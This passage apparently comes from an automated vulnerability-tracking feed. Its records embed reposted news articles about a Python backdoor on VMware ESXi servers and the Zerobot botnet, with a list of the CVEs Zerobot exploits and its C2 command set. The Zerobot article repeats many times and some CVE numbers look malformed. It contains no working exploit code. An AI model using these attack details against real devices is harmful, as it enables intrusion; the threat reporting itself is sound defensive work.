Pycrypt \u200bMitigatingTo determine if this backdoor has impacted your ESXi servers, check for the existence of the files mentioned above and the additional lines in the \u201clocal.sh\u201d file.\n\nAll configuration files that persist reboots should be scrutinized for suspicious changes and reversed to the correct [...]", "vulnerability": "CVE-2019-5544", "author": {"login": "automation"}}, {"uuid": "dedae973-9259-4bc7-9487-a7e45f1ec686", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:00.497414+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/80218", "content": "Black Hat Ethical Hacking\nNew Python malware backdoors VMware ESXi servers for remote access\n\nNew Python malware backdoors VMware ESXi servers for remote accessPost Views: 78 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes A previously undocumented Python backdoor targeting VMware ESXi servers has been spotted, enabling hackers to execute commands remotely on a compromised system.VMware ESXi is a virtualization platform commonly used in the enterprise to host numerous servers on one device while using CPU and memory resources more effectively.\n\nThe new backdoor was discovered by Juniper Networks researchers, who found the backdoor on a VMware ESXi server. However, they could not determine how the server was compromised due to limited log retention.\n\nThey believe the server may have been compromised using the CVE-2019-5544 and CVE-2020-3992 vulnerabilities in ESXi\u2019s OpenSLP service.\n\nWhile the malware is technically capable of targeting Linux and Unix systems, too, Juniper\u2019s analysts found multiple indications it was designed for attacks against ESXi.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Backdoor operationThe new python backdoor adds seven lines inside \u201c/etc/rc.local.d/local.sh,\u201d one of the few ESXi files that survive between reboots and is executed at startup.\n\nUsually, that file is empty, apart from some advisory comments and an exit statement.\nhttps://www.bleepstatic.com/images/news/u/1220909/Code%20and%20Details/lines.png \n<figcaptionAdditional lines added on ESXi file (Juniper Networks) \nOne of those lines launches a Python script saved as \u201c/store/packages/vmtools.py,\u201d in a directory that stores VM disk images, logs, and more.\n\nThe script\u2019s name and location make Juniper Networks believe that the malware operators intend to target VMware ESXi servers specifically.\n\n\u201cWhile the Python script used in this attack is cross-platform and can be used with little or no modification on Linux or other UNIX-like systems, there are several indications that this attack was designed specifically to target ESXi,\u201d explains Juniper Networks\u2019 report.\n\n\u201cThe name of the file and its location, /store/packages/vmtools.py, was chosen to raise little suspicion on a virtualization host.\u201d\n\n\u201cThe file begins with a VMware copyright consistent with publicly available \u00a0 examples and is taken character-for-character from an existing Python file provided by VMware.\u201d\n\nThis script launches a web server that accepts password-protected POST requests from the remote threat actors. These requests can carry a base-64 encoded command payload or launch a reverse shell on the host.\n\nThe reverse shell makes the compromised server initiate the connection with the threat actor, a technique that often helps bypass firewall restrictions or works around limited network connectivity.\n\nOne of the threat actors\u2019 actions observed by Juniper\u2019s analysts was to change the ESXi reverse HTTP proxy configuration to allow remote access to communicate with the planted webserver.\n\nBecause the file used for setting this new configuration, \u201c/etc/vmware/rhttpproxy/endpoints.conf,\u201d is also backed up and restored after reboot, any modifications on it are persistent.\nTrending: Exploit XSS Injections in a one-line powerful Technique Trending: Offensive Security Tool: Pycrypt \u200bMitigatingTo determine if this backdoor has impacted your ESXi servers, check for the existence of the files mentioned above and the additional lines in the \u201clocal.sh\u201d file.\n\nAll configuration files that persist reboots should be scrutinized for suspicious changes and reversed to the correct [...]", "vulnerability": "CVE-2020-3992", "author": {"login": "automation"}}, {"uuid": "72382c5c-2878-4010-b933-bc6b768348b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:00.447025+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/79492", "content": "Black Hat Ethical Hacking\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devices\n\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devicesPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes A new Go-based malware named \u2018Zerobot\u2019 has been spotted\u00a0in mid-November\u00a0using exploits for\u00a0almost two dozen vulnerabilities in a variety of devices that include\u00a0F5 BIG-IP, Zyxel firewalls, Totolink and D-Link routers, and Hikvision cameras.The purpose of the malware is to add compromised devices to a distributed denial-of-service (DDoS) botnet to launch powerful attacks against specified targets.\n\nZerobot can scan the network and self-propagate to adjacent devices as well as run commands on Windows (CMD) or Linux (Bash).\n\nSecurity researchers at Fortinet\u00a0discovered Zerobot and say that since November a new version has emerged with additional modules and exploits for new flaw, indicating that the malware is under active development.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Exploiting its way inThe malware can target a range of system architectures and devices, including i386, AMD64, ARM, ARM64, MIPS, MIPS64, MIPS64le, MIPSle, PPC64, PPC64le, RISC64, and S390x.\n\nZerobot incorporates exploits for 21 vulnerabilities and uses them to gain access to the device. Then it downloads a script named \u201czero,\u201d which allows it to self propagate.\n\nhttps://www.bleepstatic.com/images/news/u/1220909/Code%20and%20Details/script-download.png \n<figcaptionFetching the zero script to enable propagation (Fortinet) \nZerobot uses the following exploits to breach its targets:\n\n* CVE-2014-08361: miniigd SOAP service in Realtek SDK\n* CVE-2017-17106: Zivif PR115-204-P-RS webcams\n* CVE-2017-17215: Huawei HG523 router\n* CVE-2018-12613: phpMyAdmin\n* CVE-2020-10987: Tenda AC15 AC1900 router\n* CVE-2020-25506: D-Link DNS-320 NAS\n* CVE-2021-35395: Realtek Jungle SDK\n* CVE-2021-36260: Hikvision product\n* CVE-2021-46422: Telesquare SDT-CW3B1 router\n* CVE-2022-01388: F5 BIG-IP\n* CVE-2022-22965: Spring MVC and Spring WebFlux (Spring4Shell)\n* CVE-2022-25075: TOTOLink A3000RU router\n* CVE-2022-26186: TOTOLink N600R router\n* CVE-2022-26210: TOTOLink A830R router\n* CVE-2022-30525: Zyxel USG Flex 100(W) firewall\n* CVE-2022-34538: MEGApix IP cameras\n* CVE-2022-37061: FLIX AX8 thermal sensor cameras\n\nAdditionally, the botnet uses four exploits that have not been assigned an identifier. Two of them are targeting GPON terminals and D-Link routers. Details about the other two are unclear at the moment.\nTrending: Exploiting LFI Vulnerabilities\nTrending: Offensive Security Tool: Villain Zerobot functionsAfter establishing its presence on the compromised device, Zerobot sets a WebSocket connection to the command and control (C2)\u00a0server and sends some basic information about the victim.\n\nThe C2 may respond with one of the following commands:\n\n* ping \u2013 Heartbeat, maintaining the connection\n* attack \u2013 Launch attack for different protocols: TCP, UDP, TLS, HTTP, ICMP\n* stop \u2013 Stop attack\n* update \u2013 Install update and restart Zerobot\n* enable_scan \u2013 Scan for open ports and start spreading itself via exploit or SSH/Telnet cracker\n* disable_scan \u2013 Disable scanning\n* command \u2013 Run OS command, cmd on Windows and bash on Linux\n* kill \u2013 Kill botnet program\n\nThe malware also uses an \u201canti-kill\u201d module designed to prevent terminating or killing its process.\n\nCurrently, Zerobot is primarily focused on launching DDoS attacks. However, it could be used as for initial access, too. Fortinet says\u00a0that since Zerobot first appeared on Nov[...]", "vulnerability": "CVE-2014-08361", "author": {"login": "automation"}}, {"uuid": "e813ac1f-0f01-44c4-a5c6-31a2db253993", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:00.395768+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/79492", "content": "Black Hat Ethical Hacking\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devices\n\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devicesPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes A new Go-based malware named \u2018Zerobot\u2019 has been spotted\u00a0in mid-November\u00a0using exploits for\u00a0almost two dozen vulnerabilities in a variety of devices that include\u00a0F5 BIG-IP, Zyxel firewalls, Totolink and D-Link routers, and Hikvision cameras.The purpose of the malware is to add compromised devices to a distributed denial-of-service (DDoS) botnet to launch powerful attacks against specified targets.\n\nZerobot can scan the network and self-propagate to adjacent devices as well as run commands on Windows (CMD) or Linux (Bash).\n\nSecurity researchers at Fortinet\u00a0discovered Zerobot and say that since November a new version has emerged with additional modules and exploits for new flaw, indicating that the malware is under active development.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Exploiting its way inThe malware can target a range of system architectures and devices, including i386, AMD64, ARM, ARM64, MIPS, MIPS64, MIPS64le, MIPSle, PPC64, PPC64le, RISC64, and S390x.\n\nZerobot incorporates exploits for 21 vulnerabilities and uses them to gain access to the device. Then it downloads a script named \u201czero,\u201d which allows it to self propagate.\n\nhttps://www.bleepstatic.com/images/news/u/1220909/Code%20and%20Details/script-download.png \n<figcaptionFetching the zero script to enable propagation (Fortinet) \nZerobot uses the following exploits to breach its targets:\n\n* CVE-2014-08361: miniigd SOAP service in Realtek SDK\n* CVE-2017-17106: Zivif PR115-204-P-RS webcams\n* CVE-2017-17215: Huawei HG523 router\n* CVE-2018-12613: phpMyAdmin\n* CVE-2020-10987: Tenda AC15 AC1900 router\n* CVE-2020-25506: D-Link DNS-320 NAS\n* CVE-2021-35395: Realtek Jungle SDK\n* CVE-2021-36260: Hikvision product\n* CVE-2021-46422: Telesquare SDT-CW3B1 router\n* CVE-2022-01388: F5 BIG-IP\n* CVE-2022-22965: Spring MVC and Spring WebFlux (Spring4Shell)\n* CVE-2022-25075: TOTOLink A3000RU router\n* CVE-2022-26186: TOTOLink N600R router\n* CVE-2022-26210: TOTOLink A830R router\n* CVE-2022-30525: Zyxel USG Flex 100(W) firewall\n* CVE-2022-34538: MEGApix IP cameras\n* CVE-2022-37061: FLIX AX8 thermal sensor cameras\n\nAdditionally, the botnet uses four exploits that have not been assigned an identifier. Two of them are targeting GPON terminals and D-Link routers. Details about the other two are unclear at the moment.\nTrending: Exploiting LFI Vulnerabilities\nTrending: Offensive Security Tool: Villain Zerobot functionsAfter establishing its presence on the compromised device, Zerobot sets a WebSocket connection to the command and control (C2)\u00a0server and sends some basic information about the victim.\n\nThe C2 may respond with one of the following commands:\n\n* ping \u2013 Heartbeat, maintaining the connection\n* attack \u2013 Launch attack for different protocols: TCP, UDP, TLS, HTTP, ICMP\n* stop \u2013 Stop attack\n* update \u2013 Install update and restart Zerobot\n* enable_scan \u2013 Scan for open ports and start spreading itself via exploit or SSH/Telnet cracker\n* disable_scan \u2013 Disable scanning\n* command \u2013 Run OS command, cmd on Windows and bash on Linux\n* kill \u2013 Kill botnet program\n\nThe malware also uses an \u201canti-kill\u201d module designed to prevent terminating or killing its process.\n\nCurrently, Zerobot is primarily focused on launching DDoS attacks. However, it could be used as for initial access, too. Fortinet says\u00a0that since Zerobot first appeared on Nov[...]", "vulnerability": "CVE-2018-12613", "author": {"login": "automation"}}, {"uuid": "39b7f4eb-8b4e-4df2-9455-5f02dae7ce7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:00.342383+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/79492", "content": "Black Hat Ethical Hacking\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devices\n\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devicesPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes A new Go-based malware named \u2018Zerobot\u2019 has been spotted\u00a0in mid-November\u00a0using exploits for\u00a0almost two dozen vulnerabilities in a variety of devices that include\u00a0F5 BIG-IP, Zyxel firewalls, Totolink and D-Link routers, and Hikvision cameras.The purpose of the malware is to add compromised devices to a distributed denial-of-service (DDoS) botnet to launch powerful attacks against specified targets.\n\nZerobot can scan the network and self-propagate to adjacent devices as well as run commands on Windows (CMD) or Linux (Bash).\n\nSecurity researchers at Fortinet\u00a0discovered Zerobot and say that since November a new version has emerged with additional modules and exploits for new flaw, indicating that the malware is under active development.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Exploiting its way inThe malware can target a range of system architectures and devices, including i386, AMD64, ARM, ARM64, MIPS, MIPS64, MIPS64le, MIPSle, PPC64, PPC64le, RISC64, and S390x.\n\nZerobot incorporates exploits for 21 vulnerabilities and uses them to gain access to the device. Then it downloads a script named \u201czero,\u201d which allows it to self propagate.\n\nhttps://www.bleepstatic.com/images/news/u/1220909/Code%20and%20Details/script-download.png \n<figcaptionFetching the zero script to enable propagation (Fortinet) \nZerobot uses the following exploits to breach its targets:\n\n* CVE-2014-08361: miniigd SOAP service in Realtek SDK\n* CVE-2017-17106: Zivif PR115-204-P-RS webcams\n* CVE-2017-17215: Huawei HG523 router\n* CVE-2018-12613: phpMyAdmin\n* CVE-2020-10987: Tenda AC15 AC1900 router\n* CVE-2020-25506: D-Link DNS-320 NAS\n* CVE-2021-35395: Realtek Jungle SDK\n* CVE-2021-36260: Hikvision product\n* CVE-2021-46422: Telesquare SDT-CW3B1 router\n* CVE-2022-01388: F5 BIG-IP\n* CVE-2022-22965: Spring MVC and Spring WebFlux (Spring4Shell)\n* CVE-2022-25075: TOTOLink A3000RU router\n* CVE-2022-26186: TOTOLink N600R router\n* CVE-2022-26210: TOTOLink A830R router\n* CVE-2022-30525: Zyxel USG Flex 100(W) firewall\n* CVE-2022-34538: MEGApix IP cameras\n* CVE-2022-37061: FLIX AX8 thermal sensor cameras\n\nAdditionally, the botnet uses four exploits that have not been assigned an identifier. Two of them are targeting GPON terminals and D-Link routers. Details about the other two are unclear at the moment.\nTrending: Exploiting LFI Vulnerabilities\nTrending: Offensive Security Tool: Villain Zerobot functionsAfter establishing its presence on the compromised device, Zerobot sets a WebSocket connection to the command and control (C2)\u00a0server and sends some basic information about the victim.\n\nThe C2 may respond with one of the following commands:\n\n* ping \u2013 Heartbeat, maintaining the connection\n* attack \u2013 Launch attack for different protocols: TCP, UDP, TLS, HTTP, ICMP\n* stop \u2013 Stop attack\n* update \u2013 Install update and restart Zerobot\n* enable_scan \u2013 Scan for open ports and start spreading itself via exploit or SSH/Telnet cracker\n* disable_scan \u2013 Disable scanning\n* command \u2013 Run OS command, cmd on Windows and bash on Linux\n* kill \u2013 Kill botnet program\n\nThe malware also uses an \u201canti-kill\u201d module designed to prevent terminating or killing its process.\n\nCurrently, Zerobot is primarily focused on launching DDoS attacks. However, it could be used as for initial access, too. Fortinet says\u00a0that since Zerobot first appeared on Nov[...]", "vulnerability": "CVE-2022-37061", "author": {"login": "automation"}}, {"uuid": "a6b9201a-e623-4a5d-a838-a28584d1f4c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:00.277140+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/79492", "content": "Black Hat Ethical Hacking\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devices\n\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devicesPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes A new Go-based malware named \u2018Zerobot\u2019 has been spotted\u00a0in mid-November\u00a0using exploits for\u00a0almost two dozen vulnerabilities in a variety of devices that include\u00a0F5 BIG-IP, Zyxel firewalls, Totolink and D-Link routers, and Hikvision cameras.The purpose of the malware is to add compromised devices to a distributed denial-of-service (DDoS) botnet to launch powerful attacks against specified targets.\n\nZerobot can scan the network and self-propagate to adjacent devices as well as run commands on Windows (CMD) or Linux (Bash).\n\nSecurity researchers at Fortinet\u00a0discovered Zerobot and say that since November a new version has emerged with additional modules and exploits for new flaw, indicating that the malware is under active development.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Exploiting its way inThe malware can target a range of system architectures and devices, including i386, AMD64, ARM, ARM64, MIPS, MIPS64, MIPS64le, MIPSle, PPC64, PPC64le, RISC64, and S390x.\n\nZerobot incorporates exploits for 21 vulnerabilities and uses them to gain access to the device. Then it downloads a script named \u201czero,\u201d which allows it to self propagate.\n\nhttps://www.bleepstatic.com/images/news/u/1220909/Code%20and%20Details/script-download.png \n<figcaptionFetching the zero script to enable propagation (Fortinet) \nZerobot uses the following exploits to breach its targets:\n\n* CVE-2014-08361: miniigd SOAP service in Realtek SDK\n* CVE-2017-17106: Zivif PR115-204-P-RS webcams\n* CVE-2017-17215: Huawei HG523 router\n* CVE-2018-12613: phpMyAdmin\n* CVE-2020-10987: Tenda AC15 AC1900 router\n* CVE-2020-25506: D-Link DNS-320 NAS\n* CVE-2021-35395: Realtek Jungle SDK\n* CVE-2021-36260: Hikvision product\n* CVE-2021-46422: Telesquare SDT-CW3B1 router\n* CVE-2022-01388: F5 BIG-IP\n* CVE-2022-22965: Spring MVC and Spring WebFlux (Spring4Shell)\n* CVE-2022-25075: TOTOLink A3000RU router\n* CVE-2022-26186: TOTOLink N600R router\n* CVE-2022-26210: TOTOLink A830R router\n* CVE-2022-30525: Zyxel USG Flex 100(W) firewall\n* CVE-2022-34538: MEGApix IP cameras\n* CVE-2022-37061: FLIX AX8 thermal sensor cameras\n\nAdditionally, the botnet uses four exploits that have not been assigned an identifier. Two of them are targeting GPON terminals and D-Link routers. Details about the other two are unclear at the moment.\nTrending: Exploiting LFI Vulnerabilities\nTrending: Offensive Security Tool: Villain Zerobot functionsAfter establishing its presence on the compromised device, Zerobot sets a WebSocket connection to the command and control (C2)\u00a0server and sends some basic information about the victim.\n\nThe C2 may respond with one of the following commands:\n\n* ping \u2013 Heartbeat, maintaining the connection\n* attack \u2013 Launch attack for different protocols: TCP, UDP, TLS, HTTP, ICMP\n* stop \u2013 Stop attack\n* update \u2013 Install update and restart Zerobot\n* enable_scan \u2013 Scan for open ports and start spreading itself via exploit or SSH/Telnet cracker\n* disable_scan \u2013 Disable scanning\n* command \u2013 Run OS command, cmd on Windows and bash on Linux\n* kill \u2013 Kill botnet program\n\nThe malware also uses an \u201canti-kill\u201d module designed to prevent terminating or killing its process.\n\nCurrently, Zerobot is primarily focused on launching DDoS attacks. However, it could be used as for initial access, too. Fortinet says\u00a0that since Zerobot first appeared on Nov[...]", "vulnerability": "CVE-2020-25506", "author": {"login": "automation"}}, {"uuid": "ca35b92b-fb6a-4bb2-87b1-679627781892", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:00.216650+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/79492", "content": "Black Hat Ethical Hacking\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devices\n\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devicesPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes A new Go-based malware named \u2018Zerobot\u2019 has been spotted\u00a0in mid-November\u00a0using exploits for\u00a0almost two dozen vulnerabilities in a variety of devices that include\u00a0F5 BIG-IP, Zyxel firewalls, Totolink and D-Link routers, and Hikvision cameras.The purpose of the malware is to add compromised devices to a distributed denial-of-service (DDoS) botnet to launch powerful attacks against specified targets.\n\nZerobot can scan the network and self-propagate to adjacent devices as well as run commands on Windows (CMD) or Linux (Bash).\n\nSecurity researchers at Fortinet\u00a0discovered Zerobot and say that since November a new version has emerged with additional modules and exploits for new flaw, indicating that the malware is under active development.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Exploiting its way inThe malware can target a range of system architectures and devices, including i386, AMD64, ARM, ARM64, MIPS, MIPS64, MIPS64le, MIPSle, PPC64, PPC64le, RISC64, and S390x.\n\nZerobot incorporates exploits for 21 vulnerabilities and uses them to gain access to the device. Then it downloads a script named \u201czero,\u201d which allows it to self propagate.\n\nhttps://www.bleepstatic.com/images/news/u/1220909/Code%20and%20Details/script-download.png \n<figcaptionFetching the zero script to enable propagation (Fortinet) \nZerobot uses the following exploits to breach its targets:\n\n* CVE-2014-08361: miniigd SOAP service in Realtek SDK\n* CVE-2017-17106: Zivif PR115-204-P-RS webcams\n* CVE-2017-17215: Huawei HG523 router\n* CVE-2018-12613: phpMyAdmin\n* CVE-2020-10987: Tenda AC15 AC1900 router\n* CVE-2020-25506: D-Link DNS-320 NAS\n* CVE-2021-35395: Realtek Jungle SDK\n* CVE-2021-36260: Hikvision product\n* CVE-2021-46422: Telesquare SDT-CW3B1 router\n* CVE-2022-01388: F5 BIG-IP\n* CVE-2022-22965: Spring MVC and Spring WebFlux (Spring4Shell)\n* CVE-2022-25075: TOTOLink A3000RU router\n* CVE-2022-26186: TOTOLink N600R router\n* CVE-2022-26210: TOTOLink A830R router\n* CVE-2022-30525: Zyxel USG Flex 100(W) firewall\n* CVE-2022-34538: MEGApix IP cameras\n* CVE-2022-37061: FLIX AX8 thermal sensor cameras\n\nAdditionally, the botnet uses four exploits that have not been assigned an identifier. Two of them are targeting GPON terminals and D-Link routers. Details about the other two are unclear at the moment.\nTrending: Exploiting LFI Vulnerabilities\nTrending: Offensive Security Tool: Villain Zerobot functionsAfter establishing its presence on the compromised device, Zerobot sets a WebSocket connection to the command and control (C2)\u00a0server and sends some basic information about the victim.\n\nThe C2 may respond with one of the following commands:\n\n* ping \u2013 Heartbeat, maintaining the connection\n* attack \u2013 Launch attack for different protocols: TCP, UDP, TLS, HTTP, ICMP\n* stop \u2013 Stop attack\n* update \u2013 Install update and restart Zerobot\n* enable_scan \u2013 Scan for open ports and start spreading itself via exploit or SSH/Telnet cracker\n* disable_scan \u2013 Disable scanning\n* command \u2013 Run OS command, cmd on Windows and bash on Linux\n* kill \u2013 Kill botnet program\n\nThe malware also uses an \u201canti-kill\u201d module designed to prevent terminating or killing its process.\n\nCurrently, Zerobot is primarily focused on launching DDoS attacks. However, it could be used as for initial access, too. Fortinet says\u00a0that since Zerobot first appeared on Nov[...]", "vulnerability": "CVE-2017-17215", "author": {"login": "automation"}}, {"uuid": "06e276ef-0fe6-4faf-94f7-0dd50d5096f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:00.165745+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/79492", "content": "Black Hat Ethical Hacking\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devices\n\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devicesPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes A new Go-based malware named \u2018Zerobot\u2019 has been spotted\u00a0in mid-November\u00a0using exploits for\u00a0almost two dozen vulnerabilities in a variety of devices that include\u00a0F5 BIG-IP, Zyxel firewalls, Totolink and D-Link routers, and Hikvision cameras.The purpose of the malware is to add compromised devices to a distributed denial-of-service (DDoS) botnet to launch powerful attacks against specified targets.\n\nZerobot can scan the network and self-propagate to adjacent devices as well as run commands on Windows (CMD) or Linux (Bash).\n\nSecurity researchers at Fortinet\u00a0discovered Zerobot and say that since November a new version has emerged with additional modules and exploits for new flaw, indicating that the malware is under active development.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Exploiting its way inThe malware can target a range of system architectures and devices, including i386, AMD64, ARM, ARM64, MIPS, MIPS64, MIPS64le, MIPSle, PPC64, PPC64le, RISC64, and S390x.\n\nZerobot incorporates exploits for 21 vulnerabilities and uses them to gain access to the device. Then it downloads a script named \u201czero,\u201d which allows it to self propagate.\n\nhttps://www.bleepstatic.com/images/news/u/1220909/Code%20and%20Details/script-download.png \n<figcaptionFetching the zero script to enable propagation (Fortinet) \nZerobot uses the following exploits to breach its targets:\n\n* CVE-2014-08361: miniigd SOAP service in Realtek SDK\n* CVE-2017-17106: Zivif PR115-204-P-RS webcams\n* CVE-2017-17215: Huawei HG523 router\n* CVE-2018-12613: phpMyAdmin\n* CVE-2020-10987: Tenda AC15 AC1900 router\n* CVE-2020-25506: D-Link DNS-320 NAS\n* CVE-2021-35395: Realtek Jungle SDK\n* CVE-2021-36260: Hikvision product\n* CVE-2021-46422: Telesquare SDT-CW3B1 router\n* CVE-2022-01388: F5 BIG-IP\n* CVE-2022-22965: Spring MVC and Spring WebFlux (Spring4Shell)\n* CVE-2022-25075: TOTOLink A3000RU router\n* CVE-2022-26186: TOTOLink N600R router\n* CVE-2022-26210: TOTOLink A830R router\n* CVE-2022-30525: Zyxel USG Flex 100(W) firewall\n* CVE-2022-34538: MEGApix IP cameras\n* CVE-2022-37061: FLIX AX8 thermal sensor cameras\n\nAdditionally, the botnet uses four exploits that have not been assigned an identifier. Two of them are targeting GPON terminals and D-Link routers. Details about the other two are unclear at the moment.\nTrending: Exploiting LFI Vulnerabilities\nTrending: Offensive Security Tool: Villain Zerobot functionsAfter establishing its presence on the compromised device, Zerobot sets a WebSocket connection to the command and control (C2)\u00a0server and sends some basic information about the victim.\n\nThe C2 may respond with one of the following commands:\n\n* ping \u2013 Heartbeat, maintaining the connection\n* attack \u2013 Launch attack for different protocols: TCP, UDP, TLS, HTTP, ICMP\n* stop \u2013 Stop attack\n* update \u2013 Install update and restart Zerobot\n* enable_scan \u2013 Scan for open ports and start spreading itself via exploit or SSH/Telnet cracker\n* disable_scan \u2013 Disable scanning\n* command \u2013 Run OS command, cmd on Windows and bash on Linux\n* kill \u2013 Kill botnet program\n\nThe malware also uses an \u201canti-kill\u201d module designed to prevent terminating or killing its process.\n\nCurrently, Zerobot is primarily focused on launching DDoS attacks. However, it could be used as for initial access, too. Fortinet says\u00a0that since Zerobot first appeared on Nov[...]", "vulnerability": "CVE-2020-10987", "author": {"login": "automation"}}, {"uuid": "0a34751e-bf07-48eb-bc4e-c5d19e01331a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:00.113363+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/79492", "content": "Black Hat Ethical Hacking\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devices\n\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devicesPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes A new Go-based malware named \u2018Zerobot\u2019 has been spotted\u00a0in mid-November\u00a0using exploits for\u00a0almost two dozen vulnerabilities in a variety of devices that include\u00a0F5 BIG-IP, Zyxel firewalls, Totolink and D-Link routers, and Hikvision cameras.The purpose of the malware is to add compromised devices to a distributed denial-of-service (DDoS) botnet to launch powerful attacks against specified targets.\n\nZerobot can scan the network and self-propagate to adjacent devices as well as run commands on Windows (CMD) or Linux (Bash).\n\nSecurity researchers at Fortinet\u00a0discovered Zerobot and say that since November a new version has emerged with additional modules and exploits for new flaw, indicating that the malware is under active development.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Exploiting its way inThe malware can target a range of system architectures and devices, including i386, AMD64, ARM, ARM64, MIPS, MIPS64, MIPS64le, MIPSle, PPC64, PPC64le, RISC64, and S390x.\n\nZerobot incorporates exploits for 21 vulnerabilities and uses them to gain access to the device. Then it downloads a script named \u201czero,\u201d which allows it to self propagate.\n\nhttps://www.bleepstatic.com/images/news/u/1220909/Code%20and%20Details/script-download.png \n<figcaptionFetching the zero script to enable propagation (Fortinet) \nZerobot uses the following exploits to breach its targets:\n\n* CVE-2014-08361: miniigd SOAP service in Realtek SDK\n* CVE-2017-17106: Zivif PR115-204-P-RS webcams\n* CVE-2017-17215: Huawei HG523 router\n* CVE-2018-12613: phpMyAdmin\n* CVE-2020-10987: Tenda AC15 AC1900 router\n* CVE-2020-25506: D-Link DNS-320 NAS\n* CVE-2021-35395: Realtek Jungle SDK\n* CVE-2021-36260: Hikvision product\n* CVE-2021-46422: Telesquare SDT-CW3B1 router\n* CVE-2022-01388: F5 BIG-IP\n* CVE-2022-22965: Spring MVC and Spring WebFlux (Spring4Shell)\n* CVE-2022-25075: TOTOLink A3000RU router\n* CVE-2022-26186: TOTOLink N600R router\n* CVE-2022-26210: TOTOLink A830R router\n* CVE-2022-30525: Zyxel USG Flex 100(W) firewall\n* CVE-2022-34538: MEGApix IP cameras\n* CVE-2022-37061: FLIX AX8 thermal sensor cameras\n\nAdditionally, the botnet uses four exploits that have not been assigned an identifier. Two of them are targeting GPON terminals and D-Link routers. Details about the other two are unclear at the moment.\nTrending: Exploiting LFI Vulnerabilities\nTrending: Offensive Security Tool: Villain Zerobot functionsAfter establishing its presence on the compromised device, Zerobot sets a WebSocket connection to the command and control (C2)\u00a0server and sends some basic information about the victim.\n\nThe C2 may respond with one of the following commands:\n\n* ping \u2013 Heartbeat, maintaining the connection\n* attack \u2013 Launch attack for different protocols: TCP, UDP, TLS, HTTP, ICMP\n* stop \u2013 Stop attack\n* update \u2013 Install update and restart Zerobot\n* enable_scan \u2013 Scan for open ports and start spreading itself via exploit or SSH/Telnet cracker\n* disable_scan \u2013 Disable scanning\n* command \u2013 Run OS command, cmd on Windows and bash on Linux\n* kill \u2013 Kill botnet program\n\nThe malware also uses an \u201canti-kill\u201d module designed to prevent terminating or killing its process.\n\nCurrently, Zerobot is primarily focused on launching DDoS attacks. However, it could be used as for initial access, too. Fortinet says\u00a0that since Zerobot first appeared on Nov[...]", "vulnerability": "CVE-2022-34538", "author": {"login": "automation"}}, {"uuid": "f19e55a5-f2cf-4e35-b578-263308a2597b", "vulnerability_lookup_origin": 